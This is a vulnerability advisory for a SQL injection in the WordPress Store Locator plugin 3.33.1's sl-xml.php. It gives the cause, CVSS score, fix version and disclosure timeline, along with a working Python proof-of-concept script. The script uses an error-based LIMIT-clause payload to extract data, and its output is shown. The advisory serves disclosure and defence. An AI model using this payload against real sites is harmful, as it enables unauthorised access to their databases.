WordPress Store Locator 3.33.1, SQL Injection

Using a combination of GET fields, it is possible to perform a SQL Injection attack using the ‘sl-xml.php’ script. This injection is performed on the LIMIT of the SQL query, however retrieving data via this vulnerability is very easy, due to the outputting of the resulting SQL error by the script, should the query fail. The vulnerable section of code can be found in the file ‘sl-xml.php’. The $_POST scope is being passed through the ‘extract’ function, after which certain variables are used when building the query, without being filtered. As the PoC shows, a couple of other fields are required to successfully exploit this vulnerability.

Homepage

https://wordpress.org/plugins/store-locator/

CVSS Score

6.4

CSSS Vector

(AV:N/AC:L/Au:N/C:P/I:P/A:N)

Attack Scope

remote

Authorization Required

None

Mitigation

Update to version 3.34.

Proof of Concept

In the below PoC, we are able to execute the query (select version()), via the value passed through the ‘sl_vars[num_initial_displayed]’ parameter. The ‘debug’ parameter is required to ensure the error output is displayed, and the ‘mode’ parameter is required to allow us to pollute the executed query.

import requests,re
url = 'http://localhost/wp-content/plugins/store-locator/sl-xml.php'

params = {
	"debug":"1",
	"mode":"gen",
	"sl_vars[num_initial_displayed]":"1,1 procedure analyse(extractvalue(rand(),concat(0x3a,(select version()))),1);"
}
r = requests.get(url, params=params)

print re.match(r"Invalid query: XPATH syntax error: ':([^']*)'", r.text).group(1)

Output

~$ python g0blin-00031.py
5.5.41-0ubuntu0.14.04.1

Thanks to Maurycy Prodeus for the excellent write-up regarding performing SQLI after a LIMIT clause in a query. https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

Timeline

  • 2015-02-09: Discovered
  • 2015-02-09: Vendor notified
  • 2015-02-09: Vendor responded
  • 2015-02-11: Version 3.34 released – issue resolved
  • 2015-02-18: Advisory released